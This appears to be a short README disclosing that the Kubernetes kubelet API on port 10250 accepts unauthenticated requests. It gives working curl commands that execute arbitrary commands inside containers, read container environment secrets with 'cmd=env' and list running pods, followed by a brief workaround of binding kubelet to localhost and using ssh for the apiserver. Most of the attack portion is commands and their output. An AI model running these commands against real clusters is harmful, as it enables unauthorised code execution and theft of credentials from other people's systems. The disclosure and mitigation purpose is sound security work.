kubelet-exploit
There were discussions (kubernetes/kubernetes#11816, kubernetes/kubernetes#3168, kubernetes/kubernetes#7965), but looks like nobody cares.
Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.
# /run/%namespace%/%pod_name%/%container_name%
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
total 12
drwxr-xr-x 13 root root 148 Aug 26 11:31 .
drwxr-xr-x 13 root root 148 Aug 26 11:31 ..
-rwxr-xr-x 1 root root 0 Aug 26 11:31 .dockerenv
drwxr-xr-x 2 root root 8192 May 5 22:22 bin
drwxr-xr-x 5 root root 380 Aug 26 11:31 dev
drwxr-xr-x 3 root root 135 Aug 26 11:31 etc
drwxr-xr-x 2 nobody nogroup 6 Mar 18 16:38 home
drwxr-xr-x 2 root root 6 Apr 23 11:17 lib
dr-xr-xr-x 353 root root 0 Aug 26 07:14 proc
drwxr-xr-x 2 root root 6 Mar 18 16:38 root
dr-xr-xr-x 13 root root 0 Aug 26 15:12 sys
drwxrwxrwt 2 root root 6 Mar 18 16:38 tmp
drwxr-xr-x 4 root root 31 Apr 23 11:17 usr
drwxr-xr-x 5 root root 41 Aug 26 11:31 var
This makes namespaces/authentication and other security implementations in Kubernetes useless because by default any app inside the scheduled pod can access this port.
Here is how to get all secrets which container uses:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=env"
The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
Possible workaround
Force kubelet to listen localhost:
--address=127.0.0.1
Force kube-apiserver to use ssh instead of https:
--ssh-keyfile=path/to/id_rsa
--ssh-user=kube